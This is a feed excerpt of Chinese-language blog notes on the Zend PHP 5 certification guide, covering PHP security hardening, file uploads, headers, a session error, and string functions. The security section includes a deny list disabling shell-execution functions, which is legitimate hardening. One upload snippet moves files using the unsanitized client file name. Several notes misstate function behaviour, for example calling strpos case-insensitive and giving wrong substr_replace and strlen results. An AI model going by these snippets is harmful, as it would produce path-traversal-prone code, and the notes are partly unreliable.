/&gt;解決方法：限制可選的路徑&lt;br /&gt;&lt;div class="code"&gt;&lt;pre class="brush: php;"&gt;$clean = array();&lt;br /&gt;$sections = array('home', 'news',  'photos', 'blog');&lt;br /&gt;if (in_array($_GET['section'], $sections))&lt;br /&gt;  &amp;nbsp;&amp;nbsp; $clean['section'] = $_GET['section'];&lt;br /&gt;else&lt;br /&gt;  &amp;nbsp;&amp;nbsp; $clean['section'] = 'home';&lt;br /&gt;&lt;br /&gt;include "{clean['section']}/data.inc.php";&lt;/pre&gt;&lt;/div&gt;&lt;/li&gt;&lt;li&gt; Command Injection&lt;br /&gt;說明：由於php可以動態載入檔案，又提供exec(), system() and passthru()等，可以執行系統執令的強大函式，所以一但被攻擊，這下問題就大條了&lt;br /&gt;解決方法：適當的filtering及escaping要做好囉&lt;/li&gt;&lt;/ul&gt;&lt;/li&gt;&lt;li&gt;Shared Hosting&lt;br /&gt;針對以下幾個設定限制，可以事先避開Filesystem Security,command injection的問題&lt;br /&gt;&lt;ul&gt;&lt;li&gt; open_basedir&lt;br /&gt;&lt;div class="code"&gt;&lt;pre class="brush: php;"&gt;&amp;lt;virtualhost *&amp;gt;&lt;br /&gt;  DocumentRoot /home/user/www&lt;br /&gt;  ServerName www.example.org&lt;br /&gt;  &amp;lt;Drectory home/user/www&amp;gt;&lt;br /&gt;    php_admin_value open_basedir "/home/user/www/:/usr/local/lib/php/" //限制資料夾&lt;br /&gt;  &amp;lt;/Directory&amp;gt;&lt;br /&gt;&amp;lt;/virtualhost&amp;gt;&lt;/pre&gt;&lt;/div&gt;&lt;/li&gt;&lt;li&gt; disable_functions (php.ini)&lt;br /&gt;&lt;div class="code"&gt;&lt;pre class="brush: php;"&gt;;Disable functions&lt;br /&gt;disable_functions = exec,passthru,shell_exec,system&lt;/pre&gt;&lt;/div&gt;&lt;/li&gt;&lt;li&gt; and disable_classes (php.ini)&lt;br /&gt;&lt;div class="code"&gt;&lt;pre class="brush: php;"&gt;;Disable classes&lt;br /&gt;disable_classes = DirectoryIterator,Directory&lt;/pre&gt;&lt;/div&gt;&lt;/li&gt;&lt;/ul&gt;透過php.ini的設定&lt;br /&gt;&lt;/li&gt;&lt;/ul&gt;Reference&lt;a href="http://php.robm.me.uk/"&gt;PHP Security Guide&lt;/a&gt;&lt;/div&gt;&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/24036294-8293440024684597498?l=kevyu.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://kevyu.blogspot.com/feeds/8293440024684597498/comments/default' title='張貼意見'/><link rel='replies' type='text/html' href='http://www.blogger.com/comment.g?blogID=24036294&amp;postID=8293440024684597498' title='0 個意見'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/24036294/posts/default/8293440024684597498'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/24036294/posts/default/8293440024684597498'/><link rel='alternate' type='text/html' href='http://kevyu.blogspot.com/2010/10/security.html' title='Zend PHP 5 Certification Study Guide 筆記 (四) Security'/><author><name>kevyu</name><uri>http://www.blogger.com/profile/00231284922411887546</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='24' height='32' src='http://2.bp.blogspot.com/_tTSUnirsVco/S24nTyH-VtI/AAAAAAAAE-s/0mIvsLzNnnc/S220/pic.jpg'/></author><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-24036294.post-6797252150189483921</id><published>2010-10-20T22:46:00.000+08:00</published><updated>2011-09-03T23:11:29.613+08:00</updated><title type='text'>Zend PHP 5 Certification Study Guide 筆記 (三) - Web Programming &amp; OO</title><content type='html'>&lt;div dir="ltr" style="text-align: left;" trbidi="on"&gt;&lt;ol style="text-align: left;"&gt;&lt;li&gt;Web Programming&amp;nbsp;&lt;br /&gt;&lt;ul&gt;&lt;li&gt;Managing File Uploads&lt;br /&gt;檔案上傳後，php會將上傳檔移到暫存的地方，如果沒有複製或搬移，將會存活到script結束為止透過$_FILES可取得上傳檔的資訊&lt;table&gt;&lt;tbody style="text-align: left;"&gt;&lt;tr style="text-align: left;"&gt;&lt;th style="text-align: left;"&gt;name&lt;/th&gt;&lt;td style="text-align: left;"&gt;The original name of the file&lt;/td&gt;&lt;/tr&gt;&lt;tr style="text-align: left;"&gt;&lt;th style="text-align: left;"&gt;type&lt;/th&gt;&lt;td style="text-align: left;"&gt;The MIME type of the file provided by the browser&lt;/td&gt;&lt;/tr&gt;&lt;tr style="text-align: left;"&gt;&lt;th style="text-align: left;"&gt;size&lt;/th&gt;&lt;td style="text-align: left;"&gt;The size (in bytes) of the file&lt;/td&gt;&lt;/tr&gt;&lt;tr style="text-align: left;"&gt;&lt;th style="text-align: left;"&gt;tmp_name&lt;/th&gt;&lt;td style="text-align: left;"&gt;The name of the file’s temporary location&lt;/td&gt;&lt;/tr&gt;&lt;tr style="text-align: left;"&gt;&lt;th style="text-align: left;"&gt;error&lt;/th&gt;&lt;td style="text-align: left;"&gt;The error code associated with this file. A value ofUPLOAD_ERR_OK indicates a successful transfer, while any other&lt;br /&gt;error indicates that something went wrong (for example, the&lt;br /&gt;file was bigger than the maximum allowed size).&lt;/td&gt;&lt;/tr&gt;&lt;/tbody&gt;&lt;/table&gt;由於直接存取上傳檔有安全性問題，所以最好先&lt;ol&gt;&lt;li&gt;檢查upload information為UPLOAD_ERR_OK&lt;/li&gt;&lt;li&gt;檢查檔案size not zero 及 tmp_name is not set to none.&lt;/li&gt;&lt;li&gt;存取檔案(2種方法)&lt;br /&gt;&lt;ul&gt;&lt;li&gt;&lt;a href="http://php.net/manual/en/function.is-uploaded-file.php"&gt;is_uploaded_file()&lt;/a&gt;，檢查是否為上傳檔案，再進行複製 &lt;code&gt;&lt;span style="color: black;"&gt;&lt;span style="color: #007700;"&gt;if&amp;nbsp;(&lt;/span&gt;&lt;span style="color: #0000bb;"&gt;is_uploaded_file&lt;/span&gt;&lt;span style="color: #007700;"&gt;(&lt;/span&gt;&lt;span style="color: #0000bb;"&gt;$_FILES&lt;/span&gt;&lt;span style="color: #007700;"&gt;[&lt;/span&gt;&lt;span style="color: #dd0000;"&gt;'userfile'&lt;/span&gt;&lt;span style="color: #007700;"&gt;][&lt;/span&gt;&lt;span style="color: #dd0000;"&gt;'tmp_name'&lt;/span&gt;&lt;span style="color: #007700;"&gt;]))&amp;nbsp;{&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;echo&amp;nbsp;&lt;/span&gt;&lt;span style="color: #dd0000;"&gt;"File&amp;nbsp;"&lt;/span&gt;&lt;span style="color: #007700;"&gt;.&amp;nbsp;&lt;/span&gt;&lt;span style="color: #0000bb;"&gt;$_FILES&lt;/span&gt;&lt;span style="color: #007700;"&gt;[&lt;/span&gt;&lt;span style="color: #dd0000;"&gt;'userfile'&lt;/span&gt;&lt;span style="color: #007700;"&gt;][&lt;/span&gt;&lt;span style="color: #dd0000;"&gt;'name'&lt;/span&gt;&lt;span style="color: #007700;"&gt;]&amp;nbsp;.&lt;/span&gt;&lt;span style="color: #dd0000;"&gt;"&amp;nbsp;uploaded&amp;nbsp;successfully.\n"&lt;/span&gt;&lt;span style="color: #007700;"&gt;;&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;echo&amp;nbsp;&lt;/span&gt;&lt;span style="color: #dd0000;"&gt;"Displaying&amp;nbsp;contents\n"&lt;/span&gt;&lt;span style="color: #007700;"&gt;;&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&lt;/span&gt;&lt;span style="color: #0000bb;"&gt;readfile&lt;/span&gt;&lt;span style="color: #007700;"&gt;(&lt;/span&gt;&lt;span style="color: #0000bb;"&gt;$_FILES&lt;/span&gt;&lt;span style="color: #007700;"&gt;[&lt;/span&gt;&lt;span style="color: #dd0000;"&gt;'userfile'&lt;/span&gt;&lt;span style="color: #007700;"&gt;][&lt;/span&gt;&lt;span style="color: #dd0000;"&gt;'tmp_name'&lt;/span&gt;&lt;span style="color: #007700;"&gt;]);&lt;br /&gt;}&amp;nbsp;else&amp;nbsp;{&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;echo&amp;nbsp;&lt;/span&gt;&lt;span style="color: #dd0000;"&gt;"Possible&amp;nbsp;file&amp;nbsp;upload&amp;nbsp;attack:&amp;nbsp;"&lt;/span&gt;&lt;span style="color: #007700;"&gt;;&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;echo&amp;nbsp;&lt;/span&gt;&lt;span style="color: #dd0000;"&gt;"filename&amp;nbsp;'"&lt;/span&gt;&lt;span style="color: #007700;"&gt;.&amp;nbsp;&lt;/span&gt;&lt;span style="color: #0000bb;"&gt;$_FILES&lt;/span&gt;&lt;span style="color: #007700;"&gt;[&lt;/span&gt;&lt;span style="color: #dd0000;"&gt;'userfile'&lt;/span&gt;&lt;span style="color: #007700;"&gt;][&lt;/span&gt;&lt;span style="color: #dd0000;"&gt;'tmp_name'&lt;/span&gt;&lt;span style="color: #007700;"&gt;]&amp;nbsp;.&amp;nbsp;&lt;/span&gt;&lt;span style="color: #dd0000;"&gt;"'."&lt;/span&gt;&lt;span style="color: #007700;"&gt;;&lt;br /&gt;}&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/li&gt;&lt;li&gt;或&lt;a href="http://php.net/manual/en/function.move-uploaded-file.php"&gt;move_uploaded_file()&lt;/a&gt;直接搬移檔案&lt;br /&gt;&lt;code&gt;&lt;span style="color: black;"&gt;&lt;span style="color: #0000bb;"&gt;$uploads_dir&amp;nbsp;&lt;/span&gt;&lt;span style="color: #007700;"&gt;=&amp;nbsp;&lt;/span&gt;&lt;span style="color: #dd0000;"&gt;'/uploads'&lt;/span&gt;&lt;span style="color: #007700;"&gt;;&lt;br /&gt;foreach&amp;nbsp;(&lt;/span&gt;&lt;span style="color: #0000bb;"&gt;$_FILES&lt;/span&gt;&lt;span style="color: #007700;"&gt;[&lt;/span&gt;&lt;span style="color: #dd0000;"&gt;"pictures"&lt;/span&gt;&lt;span style="color: #007700;"&gt;][&lt;/span&gt;&lt;span style="color: #dd0000;"&gt;"error"&lt;/span&gt;&lt;span style="color: #007700;"&gt;]&amp;nbsp;as&amp;nbsp;&lt;/span&gt;&lt;span style="color: #0000bb;"&gt;$key&amp;nbsp;&lt;/span&gt;&lt;span style="color: #007700;"&gt;=&amp;gt;&amp;nbsp;&lt;/span&gt;&lt;span style="color: #0000bb;"&gt;$error&lt;/span&gt;&lt;span style="color: #007700;"&gt;)&amp;nbsp;{&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;if&amp;nbsp;(&lt;/span&gt;&lt;span style="color: #0000bb;"&gt;$error&amp;nbsp;&lt;/span&gt;&lt;span style="color: #007700;"&gt;==&amp;nbsp;&lt;/span&gt;&lt;span style="color: #0000bb;"&gt;UPLOAD_ERR_OK&lt;/span&gt;&lt;span style="color: #007700;"&gt;)&amp;nbsp;{&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&lt;/span&gt;&lt;span style="color: #0000bb;"&gt;$tmp_name&amp;nbsp;&lt;/span&gt;&lt;span style="color: #007700;"&gt;=&amp;nbsp;&lt;/span&gt;&lt;span style="color: #0000bb;"&gt;$_FILES&lt;/span&gt;&lt;span style="color: #007700;"&gt;[&lt;/span&gt;&lt;span style="color: #dd0000;"&gt;"pictures"&lt;/span&gt;&lt;span style="color: #007700;"&gt;][&lt;/span&gt;&lt;span style="color: #dd0000;"&gt;"tmp_name"&lt;/span&gt;&lt;span style="color: #007700;"&gt;][&lt;/span&gt;&lt;span style="color: #0000bb;"&gt;$key&lt;/span&gt;&lt;span style="color: #007700;"&gt;];&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&lt;/span&gt;&lt;span style="color: #0000bb;"&gt;$name&amp;nbsp;&lt;/span&gt;&lt;span style="color: #007700;"&gt;=&amp;nbsp;&lt;/span&gt;&lt;span style="color: #0000bb;"&gt;$_FILES&lt;/span&gt;&lt;span style="color: #007700;"&gt;[&lt;/span&gt;&lt;span style="color: #dd0000;"&gt;"pictures"&lt;/span&gt;&lt;span style="color: #007700;"&gt;][&lt;/span&gt;&lt;span style="color: #dd0000;"&gt;"name"&lt;/span&gt;&lt;span style="color: #007700;"&gt;][&lt;/span&gt;&lt;span style="color: #0000bb;"&gt;$key&lt;/span&gt;&lt;span style="color: #007700;"&gt;];&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&lt;/span&gt;&lt;span style="color: #0000bb;"&gt;move_uploaded_file&lt;/span&gt;&lt;span style="color: #007700;"&gt;(&lt;/span&gt;&lt;span style="color: #0000bb;"&gt;$tmp_name&lt;/span&gt;&lt;span style="color: #007700;"&gt;,&amp;nbsp;&lt;/span&gt;&lt;span style="color: #dd0000;"&gt;"&lt;/span&gt;&lt;span style="color: #0000bb;"&gt;$uploads_dir&lt;/span&gt;&lt;span style="color: #dd0000;"&gt;/&lt;/span&gt;&lt;span style="color: #0000bb;"&gt;$name&lt;/span&gt;&lt;span style="color: #dd0000;"&gt;"&lt;/span&gt;&lt;span style="color: #007700;"&gt;);&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;}&lt;br /&gt;}&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;br /&gt;&lt;/li&gt;&lt;/ul&gt;&lt;/li&gt;&lt;/ol&gt;&lt;/li&gt;&lt;li&gt;Http Headers&lt;br/&gt;header在需在任何output前完成，否則會無效或出錯，除非有用buffer&lt;ul&gt;&lt;li&gt;Redirection&lt;br/&gt;redirect後，最好加個exit(),避免執行到後續的script&lt;br/&gt;&lt;code&gt;header("Location: http://phparch.com");exit();&lt;/code&gt;&lt;blockquote&gt;在送出form，如果回上一頁，會出現要"重送資訊"，如果要避免，就可以透過redirect forward到正確頁&lt;/blockquote&gt;&lt;/li&gt;&lt;/ul&gt;&lt;/li&gt;&lt;/ul&gt;&lt;/li&gt;&lt;li&gt;OO&lt;/li&gt;&lt;/ol&gt;&lt;/div&gt;&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/24036294-6797252150189483921?l=kevyu.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://kevyu.blogspot.com/feeds/6797252150189483921/comments/default' title='張貼意見'/><link rel='replies' type='text/html' href='http://www.blogger.com/comment.g?blogID=24036294&amp;postID=6797252150189483921' title='0 個意見'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/24036294/posts/default/6797252150189483921'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/24036294/posts/default/6797252150189483921'/><link rel='alternate' type='text/html' href='http://kevyu.blogspot.com/2010/10/zend-php-5-certification-study-guide_20.html' title='Zend PHP 5 Certification Study Guide 筆記 (三) - Web Programming &amp; OO'/><author><name>kevyu</name><uri>http://www.blogger.com/profile/00231284922411887546</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='24' height='32' src='http://2.bp.blogspot.com/_tTSUnirsVco/S24nTyH-VtI/AAAAAAAAE-s/0mIvsLzNnnc/S220/pic.jpg'/></author><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-24036294.post-7175809170114212539</id><published>2010-10-20T17:34:00.002+08:00</published><updated>2010-10-20T17:40:07.309+08:00</updated><category scheme='http://www.blogger.com/atom/ns#' term='Zend'/><title type='text'>Zend_Session_Exception' with message 'session has already been started by session.auto-start or session_start()</title><content type='html'>在用了Zend_Auth後&lt;br /&gt;某天莫名的出現這問題&lt;br /&gt;&lt;b&gt;Fatal error: Uncaught exception 'Zend_Session_Exception' with message 'session has already been started by session.auto-start or session_start()'...&lt;/b&gt;&lt;br /&gt;也搞不懂發生了什麼事情&lt;br /&gt;後來找到有人提出是因為php.ini的session.auto_start問題&lt;br /&gt;&lt;code&gt;//php.ini&lt;br /&gt;session.auto_start = 1; //改為0即正常運作，當然記得要restart apache&lt;/code&gt;&lt;br /&gt;在每個php有用到session的，就必須先執行 session_start()&lt;br /&gt;在php.ini中的session.auto_start&lt;br /&gt;如果為0，則須執行 session_start()&lt;br /&gt;如果為1，則不須執行 session_start()&lt;br /&gt;而Zend要有session的主控權，所以用Zend_Session(Zend_Auth會用到)時，要關掉auto start&lt;br /&gt;&lt;br /&gt;不過還有人改了session.auto_start後 還是沒解決&lt;br /&gt;查出是Directory權限的問題&lt;br /&gt;自己是還沒遇過，不過先寫下來預防萬一&lt;br /&gt;大致上的問題在application.ini裡設定resources.session.save_path&lt;br /&gt;而該file需要該group有足夠的權限，而chmod 775 session即足夠&lt;br /&gt;&lt;br /&gt;Reference&lt;br /&gt;&lt;a href="http://greg.gannicott.co.uk/2010/05/16/zend-framework-error-session-has-already-been-started-by-session-auto-start-or-session_start/"&gt;Zend_Session_Exception' with message 'session has already been started by session.auto-start or session_start()&lt;/a&gt;&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/24036294-7175809170114212539?l=kevyu.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://kevyu.blogspot.com/feeds/7175809170114212539/comments/default' title='張貼意見'/><link rel='replies' type='text/html' href='http://www.blogger.com/comment.g?blogID=24036294&amp;postID=7175809170114212539' title='0 個意見'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/24036294/posts/default/7175809170114212539'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/24036294/posts/default/7175809170114212539'/><link rel='alternate' type='text/html' href='http://kevyu.blogspot.com/2010/10/zendsessionexception-with-message.html' title='Zend_Session_Exception&apos; with message &apos;session has already been started by session.auto-start or session_start()'/><author><name>kevyu</name><uri>http://www.blogger.com/profile/00231284922411887546</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='24' height='32' src='http://2.bp.blogspot.com/_tTSUnirsVco/S24nTyH-VtI/AAAAAAAAE-s/0mIvsLzNnnc/S220/pic.jpg'/></author><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-24036294.post-707763629305477785</id><published>2010-10-14T23:57:00.010+08:00</published><updated>2011-09-03T22:36:10.546+08:00</updated><category scheme='http://www.blogger.com/atom/ns#' term='PHP'/><title type='text'>Zend PHP 5 Certification Study Guide 筆記 (二)</title><content type='html'>&lt;h4&gt;&lt;br /&gt;Chapter 4 Strings And Patterns&lt;/h4&gt;&lt;br /&gt;&lt;b&gt;String Basics&lt;/b&gt;&lt;br /&gt;單引號用在"Simple strings" //almost all characters are used literally&lt;br /&gt;雙引號用在"Complex strings" //alow for special escape sequences&lt;br /&gt;&lt;b&gt;Variable Interpolation&lt;/b&gt;&lt;br /&gt;&lt;code&gt;//單、雙引號差別&lt;br /&gt;$who = "World";&lt;br /&gt;echo &lt;span style="color: blue;"&gt;"Hello $who\n"&lt;/span&gt;; // Shows "Hello World" for followd by new line&lt;br /&gt;echo &lt;span style="color: red;"&gt;'Hello $who\n'&lt;/span&gt;; // shows "Hello $who\n"&lt;br /&gt;&lt;br /&gt;//無空格連接&lt;br /&gt;$me = 'Davey';&lt;br /&gt;echo "There cannot be more than tw {$me}&lt;span style="color: #e06666;"&gt;s&lt;/span&gt;!"; //s緊連接在$me後&lt;br /&gt;&lt;br /&gt;//array用法 - 利用braces&lt;br /&gt;$names = array('Smith', 'Jones', 'Jackson');&lt;br /&gt;echo "Citation: {$names[1]}";&lt;/code&gt;&lt;br /&gt;&lt;br /&gt;&lt;b&gt;The Heredoc Syntax&lt;/b&gt;&lt;br /&gt;利用&amp;lt;&amp;lt;&amp;lt;關鍵字 可以接受一段string&lt;br /&gt;&lt;code&gt;$who = "World";&lt;br /&gt;echo $lt;$lt;$lt;TEXT&lt;br /&gt;So I said, "Hello $who"&lt;br /&gt;TEXT; &lt;br /&gt;//印出So I said, "Hello World,在opening token及closing token的斷行符號皆忽略&lt;/code&gt;&lt;br /&gt;*例外 在物件中屬性無法利用Heredoc方法給值&lt;br /&gt;&lt;br /&gt;&lt;b&gt;Escaping Literal Values&lt;/b&gt;&lt;br /&gt;&lt;b&gt;Determining the Length of a String&lt;/b&gt;&lt;br /&gt;&lt;code&gt;echo strlen("te"); //2&lt;br /&gt;echo strlen("ｄｄ"); //3&lt;br /&gt;echo strlen("我的"); //3&lt;/code&gt;&lt;br /&gt;&lt;br /&gt;&lt;b&gt;Simple Searching Functionality&lt;/b&gt;&lt;br /&gt;&lt;code&gt;//找字串的起始位置&lt;br /&gt;$haystack = "abcdefg";&lt;br /&gt;$needle = 'abc';&lt;br /&gt;if(strpos($haystack, $needle) !== false){&lt;br /&gt;echo 'Found';&lt;br /&gt;}&lt;/code&gt;&lt;br /&gt;&lt;blockquote&gt;&lt;br /&gt;因為array從0開始，所以當在第一格即match時，會回傳0，但0會當false,所以利用!==&lt;/blockquote&gt;&lt;br /&gt;strstr()與strpos的差異&lt;br /&gt;&lt;table&gt;&lt;tbody&gt;&lt;tr&gt;&lt;th&gt;function&lt;/th&gt;&lt;th&gt;purpose&lt;/th&gt;&lt;th&gt;指定搜尋的index&lt;/th&gt; &lt;/tr&gt;&lt;tr&gt;&lt;td&gt;&lt;/td&gt;&lt;td&gt;回傳找到符合字串後的值&lt;/td&gt;&lt;td&gt;不能&lt;/td&gt;&lt;/tr&gt;&lt;tr&gt;&lt;td&gt;回傳符合字串的起始位置&lt;/td&gt;&lt;td&gt;能&lt;/td&gt;&lt;/tr&gt;&lt;/tbody&gt;&lt;/table&gt;&lt;blockquote&gt;strstr()比較慢，所以如果只是找位置的話，用strpos()比較恰當&lt;/blockquote&gt;以上兩者皆case-insensitive,要分大小寫要改用stripos(),stristr()&lt;br /&gt;&lt;br /&gt;&lt;b&gt;Matching Against a Mask&lt;/b&gt;&lt;br /&gt;strspan($string1,$string2[,index][,length]) &lt;br /&gt;看好久還是看不太懂 &lt;br /&gt;似乎是「從index開始，利用遮罩A字串去遮B字串中的字元，至到不符合即中止」&lt;br /&gt;echo strspn('133445abcdef','12345')  //輸出6(13345),a開始即無法遮罩&lt;br /&gt;echo strspn("PHP wzd","PHPwzd");     // 輸出3(PHP),空格處遮罩&lt;br /&gt;echo strspn("faooaaol","ao",1,4);     // 輸出4(aooa),跳過f開始找4個&lt;br /&gt;echo strspn("foo","o",1,2);     // 輸出2(oo)&lt;br /&gt;&lt;br /&gt;&lt;b&gt;Simple Search and Replace Operations&lt;/b&gt;&lt;br /&gt;&lt;ul&gt;&lt;li&gt;取代 substr_replace(mixed $string, string $replacement )&lt;br /&gt;&lt;code&gt;echo str_replace("World", "Reader", "Hello World"); //大小寫沒差，所以outputs Hello Reader&lt;br /&gt;echo str_replace("world", "Reader", "Hello World"); //大小寫有差，所以outputs Hello World&lt;/code&gt;&lt;br /&gt;&lt;/li&gt;&lt;li&gt;一次取代多個&lt;br /&gt;&lt;code&gt;echo str_replace(&lt;span style="color: #cc0000;"&gt;array&lt;/span&gt;("Hello", "World"),"Bye", "Hello World"); //Bye Bye&lt;/code&gt; &lt;br /&gt;當取代及被取代皆為array,再依array indexes對應&lt;br /&gt;&lt;code&gt;echo str_replace(&lt;span style="color: #cc0000;"&gt;array&lt;/span&gt;("Hello", "World"), &lt;span style="color: #cc0000;"&gt;array&lt;/span&gt;("Bonjour", "Monde"), "Hello World"); //Bonjour Monde&lt;/code&gt;&lt;/li&gt;&lt;li&gt;取代部份 substr_replace(mixed $string, string $replacement  , int $start  [, int $length  ])&lt;br /&gt;&lt;code&gt;echo substr_replace("Hello World", "Reader", 6); //Hello World&lt;br /&gt;echo substr_replace("Canned tomatoes are good", "potatoes", 7 ,8); //Canned potatoes are good&lt;/code&gt;&lt;br /&gt;&lt;/li&gt;&lt;/ul&gt;substr_replace加強版(搭配strpos())&lt;br /&gt;從email取得帳號&lt;br /&gt;&lt;code&gt;$user = "davey@php.net";&lt;br /&gt;$name = &lt;b&gt;substr_replace&lt;/b&gt;($user, "", &lt;b&gt;strpos&lt;/b&gt;($user, '@');&lt;br /&gt;echo "Hello " . $name;&lt;/code&gt;&lt;br /&gt;&lt;br /&gt;&lt;b&gt;Formatting Strings&lt;/b&gt;&lt;br /&gt;主要是在print數量及金錢單位時，會因不同國家而有不同的顯示&lt;br /&gt;所以在print前 最好都先確認及設定國別&lt;br /&gt;&lt;code&gt;setlocale(LC_MONETARY, 'en_US');&lt;/code&gt;&lt;br /&gt;&lt;br /&gt;&lt;ul&gt;&lt;li&gt;Formatting Numbers&lt;br /&gt;&lt;code&gt;echo unmber_format("100000.698"); //Shows 100,001 (美國會在千用逗號)&lt;br /&gt;echo unmber_format("100000.698", 3, ",", " "); //Shows 100 000,698 (改成用空格)&lt;/code&gt;&lt;br /&gt;&lt;/li&gt;&lt;li&gt;Formatting Currency Values&lt;br /&gt;會印出該國的金幣符號,ex $100,¥100&lt;br /&gt;&lt;code&gt;setlocale(LC_MONETARY, 'en_US');&lt;br /&gt;echo money_format('%.2n', "100000.698"); //$100,000.70&lt;br /&gt;setlocale(LC_MONETARY, "ja_JP.UTF-8");&lt;br /&gt;echo money_format('%.2n', "100000.698"); //¥100,000.70&lt;br /&gt;&lt;br /&gt;setlocale(LC_MONETARY, 'en_US');&lt;br /&gt;echo money_format('%i', "100000.698"); //USD 100,000.70 //雖沒設定小數位，但美元習慣有2位小數&lt;br /&gt;setlocale(LC_MONETARY, "ja_JP");&lt;br /&gt;echo money_format('%i', "100000.698"); //JPY 100,001 沒小數位，所以併成整數&lt;/code&gt;&lt;br /&gt;&lt;blockquote&gt;money_format()無法在Windows平台上用，某些UNIX也無法使用&lt;/blockquote&gt;&lt;/li&gt;&lt;/ul&gt;&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/24036294-707763629305477785?l=kevyu.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://kevyu.blogspot.com/feeds/707763629305477785/comments/default' title='張貼意見'/><link rel='replies' type='text/html' href='http://www.blogger.com/comment.g?blogID=24036294&amp;postID=707763629305477785' title='0 個意見'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/24036294/posts/default/707763629305477785'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/24036294/posts/default/707763629305477785'/><link rel='alternate' type='text/html' href='http://kevyu.blogspot.com/2010/10/zend-php-5-certification-study-guide_14.html' title='Zend PHP 5 Certification Study Guide 筆記 (二)'/><author><name>kevyu</name><uri>http://www.blogger.com/profile/00231284922411887546</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='24' height='32' src='http://2.bp.blogspot.com/_tTSUnirsVco/S24nTyH-VtI/AAAAAAAAE-s/0mIvsLzNnnc/S220/pic.jpg'/></author><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-24036294.post-2068535484493621352</id><published>2010-10-08T23:09:00.020+08:00</published><updated>2011-07-23T12:13:04.811+08:00</updated><category scheme='http://www.blogger.com/atom/ns#' term='PHP'/><category scheme='http://www.blogger.com/atom/ns#' term='Zend'/><title type='text'>Zend PHP 5 Certification Study Guide 筆記 (一)</title><content type='html'>&lt;div dir="ltr" style="text-align: left;" trbidi="on"&gt;&lt;div dir="ltr" style="text-align: left;" trbidi="on"&gt;&lt;ol style="text-align: left;"&gt;&lt;li&gt;&lt;h4&gt;basic&lt;/h4&gt;&lt;ul&gt;&lt;li&gt;==及===的不同&lt;br /&gt;var_dump (1 == 1);//true&lt;br /&gt;var_dump (1 == "1");//true&lt;br /&gt;var_dump (1 === 1); //true&lt;br /&gt;var_dump (1 === "1"); //false, 值要相同，同型態 (比陣列，還要Order相同)&lt;/li&gt;&lt;/ul&gt;&lt;br /&gt;&lt;/li&gt;&lt;li&gt;&lt;h4&gt;function &lt;/h4&gt;&lt;ul&gt;&lt;li&gt;Returning Values&lt;br /&gt;function可以call by reference&lt;br /&gt;但回傳值就必需有變數&lt;br /&gt;&lt;code&gt;//example 1&lt;br /&gt;function &amp;amp;query($sql)&lt;br /&gt;{&lt;br /&gt;&amp;nbsp; $result&amp;nbsp; = mysql_query($sql);&lt;br /&gt;&amp;nbsp; return $result; //return variable&lt;br /&gt;}&lt;br /&gt;&lt;br /&gt;//example 2, incorrect and will cause PHP to emit a notice when called&lt;br /&gt;function &amp;amp;getHollo()&lt;br /&gt;{&lt;br /&gt;&amp;nbsp; return "Hello World"; //非variable&lt;br /&gt;}&lt;br /&gt;&lt;br /&gt;//example 3 also cause the warning to be issued when called&lt;br /&gt;&amp;nbsp;function &amp;amp;test()&lt;br /&gt;{&lt;br /&gt;&amp;nbsp; echo 'This is a test';&lt;br /&gt;}&lt;/code&gt;&lt;/li&gt;&lt;li&gt;&lt;b&gt;Passing Arguments&lt;/b&gt;&lt;br /&gt;&lt;code&gt;function hello($who = "World")&lt;br /&gt;{&lt;br /&gt;&amp;nbsp;echo "Hello $who"; &lt;br /&gt;}&lt;br /&gt;hello(); //pass in no argument and $who is assigned "World" by default&lt;/code&gt;&lt;/li&gt;&lt;/ul&gt;&lt;/li&gt;&lt;li&gt;&lt;h4&gt;Arrays&lt;/h4&gt;&lt;ul&gt;&lt;li&gt;Array 